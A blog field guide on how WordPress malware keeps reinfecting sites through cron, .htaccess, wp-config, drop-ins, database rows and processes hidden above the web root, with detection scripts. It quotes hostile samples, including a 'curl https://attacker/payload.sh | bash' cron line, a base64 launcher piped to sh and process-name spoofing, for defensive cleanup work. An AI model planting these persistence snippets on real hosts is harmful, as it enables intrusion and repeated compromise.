TechEarl

Why WordPress Malware Keeps Coming Back: A Field Guide to Persistence Mechanisms

WordPress malware that survives cleanups isn't stronger malware; it's malware with persistence. A complete catalog of where attackers hide the re-infection logic, wp_options autoload, WP-Cron, server crontab, .htaccess auto_prepend, mu-plugins, drop-ins, custom REST endpoints, and modified wp-config, with detection scripts for each.

Ishan KarunaratneIshan Karunaratne⏱️ 27 min readUpdated
Why WordPress malware reappears after Wordfence, Sucuri, iThemes Security, Patchstack, and MalCare report clean. Complete catalog of persistence: wp_options autoload, WP-Cron, server crontab, htaccess auto_prepend, mu-plugins, drop-ins, REST endpoints, plus above-doc-root patterns (dotfile launchers, resident processes, ~/.config stashes) and named modern campaigns (Balada Injector, Sign1, gsyndication, Sysrv-hello, WP-VCD).

WordPress malware persistence is the set of techniques attackers use to make sure their access survives a cleanup. The reason backdoor files keep reappearing after you delete them isn't that the malware is stronger than your delete; it's that something else on the site is recreating those files on every page load, every cron tick, every database query. If you remove the files but leave the recreator in place, you're cleaning a leaky bucket.

This article catalogs every persistence mechanism I've encountered on actual cleanups since I started doing them in 2005, ordered by how often I see each one in 2026. Each section has a detection script in bash or WP-CLI, the SQL pattern to look for, and the cleanup step that actually stops it. The companion article How to Remove WordPress Malware is the broader playbook; this is the deep dive on the layer most cleanups skip and most reinfections come from.

I first wrote this in early 2018 and have updated it through every major WordPress version since. The specific persistence locations haven't changed much in eight years; what's changed is the variety of plugin CVEs attackers use to get there in the first place. The detection logic below works on WordPress 4.x, 5.x, 6.x, and the current 6.9 line.

Why "delete the files" alone never works

A typical WordPress request loads a lot of PHP before it gets to your theme's index.php. The path is roughly:

code
nginx/apache → PHP → wp-config.php → wp-settings.php → mu-plugins → drop-ins
   → active_plugins (from wp_options, autoloaded) → theme functions.php
   → WP-Cron (every page load checks scheduled events)

An attacker who wants persistence places a recreate-the-backdoor instruction at any one of those stages. Once that instruction runs, the file you deleted ten minutes ago is back on disk. The page renders normally so you never notice.

The trick to a permanent cleanup: find every place malicious code runs before the request reaches your theme, and clean each one. The sections below are in load order, from earliest to latest in the request lifecycle.

1. The server-level crontab (outside WordPress entirely)

This is the persistence layer that almost every cleanup misses, because it lives outside the WordPress installation. An attacker with shell access can edit crontab for the web user (commonly www-data, apache, or the cPanel user) and schedule a script that runs every N minutes to recreate the backdoor.

Check it on the server itself:

bash
# As the web user (whoever owns wp-content/uploads/), check their crontab
sudo -u www-data crontab -l
sudo -u $(stat -c '%U' /path/to/wordpress/wp-config.php) crontab -l

# Also check system-wide cron locations
sudo ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
sudo cat /etc/crontab
sudo cat /etc/anacrontab 2>/dev/null

# On systemd-based distros, also check timers
sudo systemctl list-timers --all | head -20

Common malicious entries: curl https://attacker/payload.sh | bash every 5 minutes, a wget + chmod +x + execute one-liner, or php /path/to/site/wp-content/uploads/.tmp.php that re-spawns a web shell.

The fix: remove the malicious crontab entry as root, then reset the web user's shell to /sbin/nologin so they can't be logged into. Many shared hosting providers expose cron through cPanel; check the cPanel cron jobs interface too.

For the cron syntax basics, see the standard Linux crontab documentation. For broader log forensics that ties cron back to the original entry point, see How to Find the Original Entry Point in a WordPress Compromise.

2. PHP auto_prepend_file in .htaccess or php.ini

If the attacker can write to .htaccess (very common, many WordPress installs have it group-writable to support rewrite-rule plugins), they can use auto_prepend_file to load a PHP file before every single PHP request, completely transparently. The hook is below the WordPress level entirely.

What to look for:

bash
# Apache: search for php_value auto_prepend_file in any .htaccess on the server
find /path/to/wordpress -name '.htaccess' -exec grep -l 'auto_prepend_file\|auto_append_file' {} \;

# Also check Apache config (if you have access)
grep -rE 'auto_prepend_file|auto_append_file' /etc/apache2/ /etc/httpd/ 2>/dev/null

# Nginx servers: this hook doesn't exist directly but check fastcgi params
grep -rE 'auto_prepend_file' /etc/nginx/ /etc/php/*/fpm/ 2>/dev/null

A malicious entry looks like:

apache
php_value auto_prepend_file "/var/www/.cache/wp-cache.php"

The .cache directory is a popular hiding spot because it sounds legitimate. The prepended file usually contains a dropper that recreates other backdoors if they're missing, AND in some campaigns sends the request payload to an attacker-controlled server.

The fix: remove the directive, delete the prepended file, and make sure .htaccess is 644 (not 664 or 666), owned by the web user, with the parent directory 755 (not group-writable).

For the legitimate WordPress .htaccess block to keep, see Step 6 of How to Remove WordPress Malware.

3. wp-config.php injection

wp-config.php is the first PHP file WordPress itself loads. Anything injected there runs before wp-settings.php, before plugins, before themes. The two main injection patterns I see:

Pattern A: Top-of-file eval(). The attacker inserts a line like this right after the opening <?php:

php
<?php
@include('/var/www/.config/wp-conf.php'); // attacker line
@eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOyR..."));   // or this

Pattern B: Modified constants. The attacker redefines WP_CONTENT_DIR or WP_PLUGIN_DIR to a directory they control:

php
define('WP_CONTENT_DIR', '/var/www/.cache/wp-content');
define('WP_PLUGIN_DIR', '/var/www/.cache/wp-content/plugins');

Now every plugin load looks for files in the attacker's directory, not your real wp-content/. Cleaning your wp-content/ does nothing.

Detection:

bash
# Diff wp-config.php against the sample to find any non-standard lines
diff <(grep -vE '^\s*(//|#|/\*|\*)' wp-config-sample.php) \
     <(grep -vE '^\s*(//|#|/\*|\*)' wp-config.php) | less

# Look for the obvious red flags
grep -E '@?include|@?require|eval\(|base64_decode|gzinflate|preg_replace.*\/e' wp-config.php
grep -E "define\s*\(\s*['\"]WP_(CONTENT|PLUGIN)_DIR" wp-config.php

For one specific 2020s-era family that attacks wp-config.php, see How to Remove gsyndication.com Malware from WordPress.

The fix: restore wp-config.php from a known-clean source (your last clean backup, or a fresh wp-config-sample.php with your DB creds re-entered), rotate the salts via https://api.wordpress.org/secret-key/1.1/salt/, and ensure the file is 400 owned by the web user.

4. mu-plugins (must-use plugins)

wp-content/mu-plugins/ is a special directory that WordPress loads automatically, without any "Plugins" admin UI to enable or disable them. Every .php file at the top level of mu-plugins/ runs on every request. Most WordPress installs don't use this feature at all, so any file there is suspicious.

Detection:

bash
# List everything in mu-plugins
ls -la wp-content/mu-plugins/ 2>/dev/null

# WP-CLI version (also catches plugins that hide themselves in the regular plugin loader)
wp plugin list --status=must-use --path=/path/to/wordpress

Common malicious names I've seen here: wp-cache.php, wp-config-backup.php, index.php (a single file at the top level), class-wp-cache.php. Read the file. Anything that calls file_get_contents to a remote URL, evals base64-decoded content, or registers an admin user is malicious.

If you legitimately use mu-plugins (some sites do, for must-on functionality like custom branding), audit each file. If you don't, the directory should be empty or absent. Delete suspicious files and chmod 755 wp-content/mu-plugins/ so it's not group-writable.

5. Drop-ins (advanced-cache.php, object-cache.php, db.php, sunrise.php)

WordPress has a small set of "drop-in" files it loads automatically from wp-content/ if they exist. Each one is a different stage in the request lifecycle:

Drop-inWhen it runsWhat it's normally for
wp-content/advanced-cache.phpVery early, before most pluginsPage caching plugins (W3 Total Cache, WP Super Cache, Cache Enabler)
wp-content/object-cache.phpRight after WP core loadsObject caching plugins (Redis Object Cache, Memcached)
wp-content/db.phpBefore any database queryCustom database wrappers (HyperDB, multi-DB setups)
wp-content/sunrise.phpMultisite-only, very earlyMultisite domain mapping

Each one runs PHP that has full WordPress access. If you don't use a caching plugin or a custom DB layer, none of these files should exist.

Detection:

bash
# Look for unexpected drop-ins
ls -la wp-content/{advanced-cache,object-cache,db,sunrise}.php 2>/dev/null

# WP-CLI lists them too
wp plugin list --status=dropin --path=/path/to/wordpress

If the file exists, check whether you have a corresponding caching/object-cache plugin installed. If you don't, the drop-in is almost certainly malware. Even if you do, read the file, attackers sometimes replace a legitimate object-cache.php with a backdoor disguised to look like Redis Object Cache.

The fix: delete the file (or reinstall the legitimate plugin that created it from a clean source).

6. wp_options autoload entries

This is the persistence layer that catches almost everyone, because WordPress autoloads many wp_options rows on every single page load, and the values can contain executable PHP-like content that gets eval'd or echo'd into the page output.

Detection: the most useful starting query is "what large autoloaded options exist that aren't named like normal WordPress options?":

sql
-- Big autoloaded values: anything over 5 KB is unusual
SELECT option_id, option_name, LENGTH(option_value) AS size, autoload
FROM wp_options
WHERE autoload IN ('yes', 'on')
  AND LENGTH(option_value) > 5000
ORDER BY size DESC
LIMIT 30;

-- Direct content scan for executable patterns
SELECT option_id, option_name, LEFT(option_value, 200) AS preview
FROM wp_options
WHERE option_value REGEXP 'eval\\(|base64_decode|gzinflate|<script|document\\.write|String\\.fromCharCode|FromCharCode';

Malicious option names mimic legitimate ones: wp_options_cache, _transient_doing_cron_lock, class-wp-cache, siteurl_backup, or random base64-looking blobs as the name.

WP-CLI alternative for ranking by size:

bash
wp option list --autoload=on --format=table --fields=option_name,size_bytes --path=/path/to/wordpress \
  | sort -k 2 -n -r | head -30

The cleanup is row-by-row: for each confirmed malicious row, DELETE FROM wp_options WHERE option_name = '<the-name>';. Back up the wp_options table first with mysqldump --single-transaction wordpress wp_options > options.sql so a bad delete is reversible.

7. WP-Cron events (the in-WordPress scheduler)

WordPress's built-in cron isn't real cron; it's a list of scheduled hooks stored in a single wp_options row called cron. Every page load checks this list and runs any hooks whose time has arrived. Attackers register their own hook there, and the recreator runs on a schedule entirely inside WordPress.

Detection with WP-CLI:

bash
# List every scheduled event with its hook name and next-run time
wp cron event list --path=/path/to/wordpress --allow-root --format=table

# Look for hook names that don't match any plugin or theme you have installed

Common malicious hook names: wp_resetwp, _wp_cleanup, wp_check_url, wp_version_check_backup, or random strings. Legitimate hooks are named like wp_scheduled_delete, wp_update_themes, wp_version_check, or have your plugin's prefix.

For each suspicious hook, find what function it calls:

bash
# Unschedule a specific hook
wp cron event delete <hook_name> --path=/path/to/wordpress --allow-root

# Heavy-handed: clear the entire cron list and let WordPress re-register the legitimate ones
wp option delete cron --path=/path/to/wordpress --allow-root

Deleting the entire cron list is safe; WordPress core, your plugins, and your themes all re-register their hooks on the next request. Anything malicious doesn't.

8. Modified core files (the recreator pattern)

The persistence variant: the attacker modifies a single core WordPress file (often wp-includes/load.php, wp-includes/version.php, or a deep wp-admin/includes/ file) to add a function that gets called early in every request. The function recreates the backdoor files, recreates the malicious cron events, and re-adds the malicious wp_options row, then exits silently.

This is the recreator. Even if you clean files, the database, and the cron events, this one modified core file rebuilds all of them on the very next page request.

Detection:

bash
# WP-CLI ships checksum verification for core
wp core verify-checksums --path=/path/to/wordpress --allow-root

# And for every installed plugin from the WordPress.org repo
wp plugin verify-checksums --all --path=/path/to/wordpress --allow-root

verify-checksums queries the WordPress.org API for the expected MD5 of every core file and reports anything that doesn't match. Plugins from the .org repo are covered too. Paid plugins, custom plugins, and themes are not, for those you compare against your own clean copy or backup.

Any file that fails the checksum is the recreator (or one of its accomplices). The fix: replace core, plugins, and themes from clean sources, as covered in Step 4 of the WordPress malware removal playbook.

9. Custom REST API endpoints

Since WordPress 4.7 (December 2016), the REST API has been enabled by default and any plugin can register custom endpoints. An attacker who can write a single PHP file into wp-content/plugins/ (or even just into mu-plugins/) can register an endpoint like POST /wp-json/cache/sync that, when called, recreates every backdoor on the site.

The recreator doesn't run on its own schedule; it runs whenever the attacker makes a single HTTP request to that endpoint. So your cleanup looks complete for a day, then the attacker hits the URL and everything's back.

Detection:

bash
# List every REST route registered on the site
wp rest endpoint list --path=/path/to/wordpress --allow-root | head -50

# Or hit the REST schema directly
curl -s https://yoursite.com/wp-json/ | python3 -m json.tool | head -200

Look for routes under a namespace you don't recognize. Legitimate WordPress namespaces include wp/v2, wp-block-editor/v1, wp-site-health/v1, plus one namespace per legit plugin (e.g., contact-form-7/v1, wc/v3 for WooCommerce). A namespace like wp-cache/v1, wp-utils/v1, or just v1 is suspicious unless you can trace it to a legitimate plugin.

For each suspicious endpoint, grep the codebase for register_rest_route calls:

bash
grep -rnE "register_rest_route\s*\(\s*['\"]<the-namespace>" /path/to/wordpress/wp-content/

That gives you the file registering the endpoint. Read it. Delete it. Then wp cache flush so the route disappears.

10. Hidden mu-plugin-like loaders in active plugins

The variant most cleanups miss: an attacker who got admin access via stolen credentials doesn't need to drop a separate backdoor file. They can edit an existing legitimate plugin's main file and add their hook there. Now verify-checksums flags the plugin (good), but if you reinstall the plugin from the .org repo (correct fix), the next time the attacker hits your site, they re-edit the plugin file using the stolen credentials (the persistence is in the credentials, not the file).

This is why credential rotation is mandatory after any cleanup, even one that looks complete. Step 7 of How to Remove WordPress Malware covers the full credential-rotation checklist. The short version: every admin password, every API key in wp-config.php, the database password, the SFTP/SSH password or key, and the hosting control-panel password.

11. Malware living above the WordPress directory (the layer nobody scans)

The single most important persistence concept in this article, and the one I see missed most often: the malware itself is not inside WordPress. It is sitting one directory up, in the hosting user's home directory, where no WordPress plugin scans and no file-system tool you run from inside /wp-content/ will ever reach. You can clean the WordPress install, reinstall WordPress from scratch, drop the database, restore from backup, do the whole thing again next week, and the reinfection comes back every time. The malware was never in /wp-content/. The malware is in /home/<your-user>/, running as a process, rewriting wp-config.php from RAM every few seconds.

This class of attack has a name worth knowing: above-doc-root persistence (sometimes "outside-the-doc-root malware"). It refers to any WordPress compromise where the active malware lives outside the directory served by your web server, typically in the hosting user's home directory, a stash like ~/.config/htop/, the system cron, or /tmp/. The WordPress install is the target, but the malware itself is one or more layers above it. Every WordPress-focused scanner (Wordfence, Sucuri Security, iThemes / Solid Security Pro, Patchstack, MalCare, Jetpack Scan, WP Activity Log, hosting-provider "one-click malware cleanup") operates inside the WordPress directory. They scan /wp-content/, the database, .htaccess, and wp-config.php. They do not enumerate processes. They do not read ~/.bashrc. They do not look in ~/.config/ or /tmp/. The malware that targets WordPress in 2026 increasingly lives specifically in the gap between "the WordPress directory tree" and "the rest of the hosting account", because that gap is where the scanners stop and the attacker's persistence starts.

This is the actual reinfection engine behind the gsyndication.com family I see most often in 2026 cleanups. The full case study is in How to Remove gsyndication.com Malware from WordPress; the mechanics it relies on are general and apply to many other families documented in 11f below.

11a. Shell startup file injection

Attackers append a base64-encoded launcher to the hosting user's shell startup files. Every time a shell session starts (cron job, SSH login, even some php-fpm reload sequences on certain hosts), the launcher fires and re-spawns the rogue process.

Files that get hit:

  • ~/.bashrc (interactive bash shells)
  • ~/.profile and ~/.bash_profile (login shells)
  • ~/.zshrc (zsh, the default on macOS-based dev environments)
  • ~/.config/fish/config.fish (less common, but checked)

The typical pattern is a comment that looks innocuous, followed by a one-liner with a long base64 blob:

bash
# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
{ echo L2Jpbi9wa2lsbCAtMCAtVTEwMDUgZGVmdW5jdCAyPi9kZXYvbnVsbCB8fCAo... ; } | base64 -d | sh

Decoding that base64 typically yields a "test-then-spawn" sequence: check if the rogue process is already running for this user (signal 0 to test only, never to kill), and if not, exec a stashed binary with a spoofed process name.

Detect:

bash
# anything injected into shell startup files
grep -rE 'base64|eval|exec.*-a|defunct|watchdogd' \
  ~/.bashrc ~/.bash_profile ~/.profile ~/.zshrc 2>/dev/null

# server-wide: every user's startup files
sudo grep -rE 'base64|eval|exec.*-a' /home/*/.bashrc /home/*/.profile /home/*/.bash_profile 2>/dev/null

Anything you didn't put there, remove. Keep a known-good copy of ~/.bashrc in your home-directory baseline (more on that in the server-side file integrity monitoring article).

11b. Resident processes with spoofed names

Once the shell startup hook fires, it exec's a binary stashed somewhere that looks legitimate. The two patterns I see most:

code
~/.config/htop/defunct          # binary, masquerading as htop config data
~/.config/htop/defunct.dat      # the binary's config / payload data

The launcher uses bash's exec -a to set the process name in ps output to something that looks like a kernel thread:

bash
exec -a '[watchdogd]' "$HOME/.config/htop/defunct"

The brackets around [watchdogd] mimic real kernel threads ([ksoftirqd/0], [kworker/0:0], etc.). Unless you know to look closely, the process blends in.

Detect:

bash
# list every process for the hosting user
ps -u "$WEB_USER" -o pid,etime,comm,args

# anything named like a kernel thread but owned by a non-root user is suspicious
ps -eo user,pid,comm | awk '$1!="root" && $3 ~ /^\[.*\]$/'

# specific known names
ps aux | grep -E '\[watchdogd\]|defunct|kthreadd' | grep -v grep

# the binary stash itself
ls -la ~/.config/htop/ 2>/dev/null
find ~ -type f \( -name 'defunct' -o -name 'defunct.dat' \) 2>/dev/null

If you find the binary, kill the process AND delete the file AND clean the startup-file hook AND clean any cron entries that re-spawn it. Missing any one of those is how reinfection persists.

11c. Why this layer matters more than any in-WordPress layer

Three properties make this the worst persistence layer to leave behind:

  1. The malware is above the WordPress directory, and nothing in WordPress scans there. Wordfence, Sucuri, MalCare, iThemes, Jetpack Scan, and every dashboard-based scanner is running inside PHP, inside the WordPress document root. They cannot enumerate processes, read .bashrc, or inspect ~/.config/. Their checksums on wp-config.php will keep flagging "modified" forever, because the actual malware is one directory up, rewriting the file. You can clean the site repeatedly and nothing meaningful changes: the malware is somewhere the cleanup never touches.

  2. The reinfection cycle is sub-second. You delete the injected line in wp-config.php, save, close the editor. Before your next page load, the resident process has rewritten the file. To the cleanup operator, it looks like the file is being touched by something supernatural; the file just modified itself.

  3. It survives every WordPress reinstall. Wipe /wp-content/, drop the database, reinstall WordPress from scratch, the process is still running. Reinstall on a fresh domain pointed at the same hosting account, the new install gets injected the moment it has a wp-config.php to inject into.

The fix is at the OS layer. Kill the process, clean the startup files, delete the stashed binary, remove the cron entries that respawn it, and rotate the SSH key the attacker used to install all of this in the first place. The gsyndication walkthrough covers the exact sequence step by step.

Above-doc-root persistence is the single weakest spot in the WordPress security plugin ecosystem in 2026. None of the major paid or free scanners can detect it, because none of them are architecturally allowed to look outside the WordPress install. The list of products this applies to is essentially every WordPress security plugin on the market:

ProductWhat it scansWhat it cannot see
Wordfence (free + Premium)Files inside the WordPress install, core file checksums, plugin/theme integrity, post content for known patterns.Anything above the doc root: /home/<user>/, system processes, user dotfiles, system cron, /etc/, /tmp/.
Sucuri Security (free plugin)The same file tree, plus remote scanner that fetches your public URLs and parses HTML.Same blind spot. The remote scanner sees output but cannot reach the file system above /wp-content/.
iThemes Security Pro / Solid Security ProWordPress files, login lockout, brute-force throttling, file change detection inside the install.Anything above the install.
Patchstack (free + paid)Vulnerability monitoring for installed plugins/themes against their CVE database, plus virtual patches.Patchstack is a vulnerability-database product, not a file scanner; it doesn't scan the file system at all.
MalCare (free + paid)WordPress files, database rows, remote scan via API.Same blind spot as Wordfence.
Jetpack Scan / Jetpack ProtectWordPress files, plugin/theme integrity, scanning via Automattic's remote infrastructure.Same blind spot.
WP Activity LogEvent logging from inside WordPress (logins, edits, post changes).Not a malware scanner. Cannot see anything outside WordPress's PHP context.
Hosting "one-click malware scan" (cPanel ImunifyAV/Imunify360, hosting-provider scanners)Some of these can scan above the doc root (ImunifyAV often does scan the full user home), but the cheap shared-host variants typically don't, and the report you see in cPanel rarely tells you what was actually scanned.Variable; assume nothing unless you can verify the scan path.

The structural reason every WordPress security plugin misses above-doc-root malware: the plugin is a piece of PHP running as the same user as WordPress. It has, at best, read access to the WordPress install and write access to its own plugin directory. It cannot ps -ef, it cannot cat /etc/crontab, it cannot read another user's home directory, and it cannot reach /root/. Every plugin scan is therefore bounded by what the WordPress user can see, and the malware is specifically hidden in places the WordPress user cannot see well or at all. If "Wordfence says the site is clean but wp-config.php keeps reinjecting", that is not a Wordfence bug. That is Wordfence working correctly within the boundary it can scan, while the malware sits outside that boundary.

The structural fix, covered in server-side file integrity monitoring, is at least one monitoring layer that runs as root, reads files outside the WordPress install, and reports through a channel WordPress can't intercept (system mail, an out-of-band webhook, anything not wp_mail).

11e. The access problem: most cleaners can't even look here

A practical complication that compounds the scanner blindness: most people doing WordPress cleanups in the wild, including paid cleanup services, only have the access level required to clean inside the doc root, not above it. The typical engagement looks like:

  • Freelance / agency cleanup: client provides WordPress admin login and SFTP credentials. SFTP is jailed to the WordPress directory or to public_html/. No SSH. No way to ls /home/<user>/, no way to ps -u, no way to read ~/.bashrc. The cleaner can do everything inside the doc root and nothing above it.
  • Wordfence Site Cleaning / Sucuri Remediation / MalCare Cleanup: these paid services also typically receive WordPress admin and SFTP credentials. Their cleanup teams run their own internal tooling against the doc root; they do not, as a rule, request shell access to the hosting account, and even when they do, shared-host providers often refuse.
  • Shared hosting providers themselves: cPanel's "Terminal" feature, when enabled, runs as the hosting user. The hosting user cannot read other users' files, cannot read system logs, cannot list processes for other users, and cannot read /etc/cron.d/. Even with terminal access, the cleaner is limited to their own home directory and the WordPress install. If the malware is owned by a different system user or running with elevated privileges, the cleaner cannot see it.
  • Compromised shared hosting: if the attacker compromised the shared hosting environment at a level above your account, finding the malware is effectively impossible from your account. You are a tenant in a building someone else broke into. No amount of cleaning your apartment will help if the building's wiring is on fire. The only path forward is to migrate the site to a different hosting environment entirely.

This is why the practical recommendation for sites that keep getting reinfected is not "scan harder" but "get someone with full server access involved", which on a managed host means escalating to the host's security team, and on a self-managed VPS means SSHing in as root and running the persistence-check script yourself. If neither of those is possible, the site needs to move to hosting where they are.

11f. Recent campaigns in this attack class

The gsyndication.com family is one specific 2023-2025 case study. Similar above-doc-root persistence has been documented across several long-running and recent campaigns I've worked or read about:

  • Balada Injector (2017-present). The longest-running WordPress mass-compromise campaign on record. Sucuri's research has tracked it through dozens of variants. Each iteration drops files inside WordPress (favoring wp-includes/ and theme functions.php), creates fake admin accounts like wpsupport or wpsupp-user, and writes redirect logic into the database, but the more recent waves also drop server-level cron entries and binary stashes outside the doc root to handle reinfection. Estimated 1+ million WordPress sites compromised cumulatively.
  • Sign1 campaign (Sucuri research, 2024). Approximately 39,000 WordPress sites compromised via injected JavaScript delivered through custom HTML widgets, plus persistence patterns that included shell-level backdoors on the affected hosting accounts.
  • WP-VCD family (2017-present). Distributed primarily through nulled / pirated commercial plugins downloaded from warez sites. Drops class.wp.php, class.theme-modules.php, and a wp_vcd option row. Newer variants include user-level cron persistence that survives WordPress reinstall.
  • Sysrv-hello / Sysrv-K (2020-present). Cryptominer botnet that targets Linux hosts including WordPress servers. Drops binaries in /tmp/, /dev/shm/, and ~/.config/. Persistence via system cron, systemd timers, and SSH authorized_keys injection. WordPress is the entry vehicle on many infected hosts but the malware itself runs entirely outside the WordPress install.
  • Kinsing / H2miner (2020-present). Similar profile to Sysrv. Often arrives via vulnerable WordPress plugins or exposed Docker/Redis, then drops binaries in /tmp/ and home directories with cron persistence.
  • Watchdogd / defunct family (the gsyndication.com pattern documented here). 2023-2025 active. Process-name spoofing via exec -a '[watchdogd]', binary stashed in ~/.config/htop/, shell-startup-file launcher, repeated wp-config.php reinjection.

Across all of these, the constant is: the persistence is server-level, not WordPress-level. A WordPress security plugin can clean every artifact each campaign drops inside WordPress, and the campaign restores those artifacts on the next page load from the part of the disk the plugin can't see. The mitigation strategy is the same for all of them: server-side file integrity monitoring on user-account dotfiles and stash locations, process auditing, and (if you don't own the server) migration to a host where you do.

A complete persistence-check script

The script below combines the detection logic above into a single run. Save it as wp-persistence-check.sh, chmod +x, and run it from inside the WordPress directory. It reports candidates only; it does NOT delete anything.

wp-persistence-check.shSurveys every WordPress persistence layer for anomalies. Reports only.Download
bash
#!/usr/bin/env bash
# wp-persistence-check.sh, survey every WordPress persistence layer for anomalies.
# Source: https://techearl.com/wordpress-malware-persistence-mechanisms
# Site:   https://techearl.com/
# Reports candidates; does NOT modify or delete.
#
# Usage:
#   ./wp-persistence-check.sh /path/to/wordpress
#
# Requires: wp-cli (for the WordPress-level checks), bash, find, grep.

set -e
WP_ROOT="${1:-$PWD}"
WEB_USER="$(stat -c '%U' "$WP_ROOT/wp-config.php" 2>/dev/null || stat -f '%Su' "$WP_ROOT/wp-config.php")"

echo "=========================================="
echo "  WordPress Persistence Check"
echo "  Root:     $WP_ROOT"
echo "  Web user: $WEB_USER"
echo "=========================================="

echo
echo "--- 1. Server cron for $WEB_USER ---"
sudo -u "$WEB_USER" crontab -l 2>/dev/null || echo "  (no crontab for $WEB_USER)"
echo "--- system-wide cron ---"
sudo ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ 2>/dev/null | head -20

echo
echo "--- 2. auto_prepend_file in .htaccess ---"
find "$WP_ROOT" -name '.htaccess' -exec grep -lE 'auto_(pre|ap)pend_file' {} \;

echo
echo "--- 3. wp-config.php anomalies ---"
grep -nE '@?(include|require)|eval\(|base64_decode|gzinflate|preg_replace.*/e' "$WP_ROOT/wp-config.php" || echo "  (clean)"
grep -nE "define\s*\(\s*['\"]WP_(CONTENT|PLUGIN)_DIR" "$WP_ROOT/wp-config.php" || echo "  (no WP_CONTENT_DIR override)"

echo
echo "--- 4. mu-plugins contents ---"
ls -la "$WP_ROOT/wp-content/mu-plugins/" 2>/dev/null || echo "  (mu-plugins absent, normal)"

echo
echo "--- 5. drop-ins ---"
for dropin in advanced-cache.php object-cache.php db.php sunrise.php; do
  if [ -f "$WP_ROOT/wp-content/$dropin" ]; then
    echo "  PRESENT: wp-content/$dropin"
  fi
done

echo
echo "--- 6. Big autoloaded wp_options rows ---"
wp option list --autoload=on --format=csv --fields=option_name,size_bytes \
  --path="$WP_ROOT" --allow-root 2>/dev/null \
  | sort -t, -k 2 -n -r | head -15

echo
echo "--- 7. WP-Cron events (look for unrecognized hooks) ---"
wp cron event list --format=table --fields=hook,next_run_relative \
  --path="$WP_ROOT" --allow-root 2>/dev/null | head -30

echo
echo "--- 8. Core checksum verification ---"
wp core verify-checksums --path="$WP_ROOT" --allow-root 2>&1 | head -20

echo
echo "--- 9. REST API routes (unfamiliar namespaces are suspicious) ---"
wp rest endpoint list --format=csv --fields=route --path="$WP_ROOT" --allow-root 2>/dev/null \
  | awk -F/ '{print "/"$2"/"$3}' | sort -u

echo
echo "--- 10. Shell startup files for $WEB_USER ---"
WEB_HOME=$(getent passwd "$WEB_USER" | cut -d: -f6)
sudo grep -lE 'base64|eval|exec.*-a|defunct|watchdogd' \
  "$WEB_HOME/.bashrc" "$WEB_HOME/.bash_profile" "$WEB_HOME/.profile" "$WEB_HOME/.zshrc" 2>/dev/null \
  || echo "  (no suspicious patterns in shell startup files)"

echo
echo "--- 11. Resident processes for $WEB_USER ---"
ps -u "$WEB_USER" -o pid,etime,comm,args 2>/dev/null | head -40
echo "  ^ anything in [brackets] owned by a non-root user is suspicious"

echo
echo "--- 12. Stashed binaries in user home ---"
sudo find "$WEB_HOME" -type f \( -name 'defunct' -o -name 'defunct.dat' -o -name '.htop' \) 2>/dev/null
sudo ls -la "$WEB_HOME/.config/htop/" 2>/dev/null || true

echo
echo "=========================================="
echo "  Review each section. Anything you can't"
echo "  attribute to a legitimate plugin or theme"
echo "  is a candidate for removal."
echo "=========================================="

The script reads but never writes. Once you've identified specific bad rows, hooks, files, or routes, remove them with the targeted commands earlier in this article.

The order of operations that actually removes persistence

If you skip the order, you spend hours cleaning and the malware comes back the moment you finish. The correct order:

  1. Take the site offline (maintenance mode, or Deny from all in .htaccess).
  2. Snapshot the file system and database for forensics before changing anything.
  3. Run the persistence check above. Note every anomaly.
  4. Kill resident rogue processes and clean shell startup files first (section 11). If a process is sitting in memory rewriting files, nothing else you do is durable. kill -9 the PID, delete the stashed binary, clean .bashrc / .profile / .bash_profile.
  5. Clean server-level cron (section 1). If this layer keeps running, every other cleanup gets undone.
  6. Clean .htaccess auto_prepend (section 2).
  7. Clean wp-config.php (section 3) and rotate the salts immediately.
  8. Clean mu-plugins, drop-ins, modified core files (sections 4, 5, 8) by replacing from known-clean sources.
  9. Clean wp_options and WP-Cron (sections 6, 7). The database row that recreates files has to die at the same time as the files.
  10. Audit and remove suspicious REST endpoints (section 9).
  11. Rotate every credential (section 10 + Step 7 of How to Remove WordPress Malware).
  12. Bring the site back online. Watch the access logs for 48 hours for repeat probes to the same entry point.

If you skip step 4 (resident processes) and start anywhere else, the rogue process rewrites everything you just cleaned within seconds. If you skip step 5 (server cron), the cron respawns the process you just killed. Order matters; this is the order I've used on every cleanup since 2005 and it's the one that holds.

Common mistakes

The patterns that turn a one-day cleanup into a one-month cleanup:

Treating WP-Cron and server cron as the same thing. They're not. WP-Cron lives inside wp_options.cron and runs on page loads. Server cron lives in the OS and runs on its own schedule. A site can have malicious entries in either, both, or neither. Check both layers.

Reinstalling the plugin that got compromised without checking what installed it. If the plugin appeared in your installation but you didn't install it, an attacker did. Reinstalling it from the .org repo replaces the file content but doesn't address how it got there.

Skipping wp-config.php because it's "just config". It's not. It's the first PHP file WordPress loads, and an @include near the top runs before anything else. Always diff against wp-config-sample.php.

Trusting the checksum results blindly. wp core verify-checksums is excellent but it only checks WordPress core files. Plugins and themes from the .org repo need wp plugin verify-checksums --all. Paid plugins, custom plugins, and themes need manual comparison against a known-clean backup.

Cleaning without rotating credentials. If the attacker is back in via stolen FTP credentials, no amount of file cleaning matters. The persistence is in the keys ring, not on disk.

Stopping after the visible symptoms go away. The site renders correctly, the admin login works, the WAF logs are quiet, and three days later, the backdoor is back. The visible symptoms going away means one of the persistence layers is gone. You need all of them gone.

Frequently asked questions

See also

TagsWordPressSecurityMalwarePersistenceBackdoorwp-confightaccesswp_optionsWP-CronIncident ResponseWordfenceSucuriAbove Doc RootReinfectionBalada InjectorShared Hosting
Share
Ishan Karunaratne

Ishan Karunaratne

Tech Architect · Software Engineer · AI/DevOps

Tech architect and software engineer with 20+ years across software, Linux systems, DevOps, and infrastructure — and a more recent focus on AI. Currently Chief Technology Officer at a tech startup in the healthcare space.

Keep reading

Related posts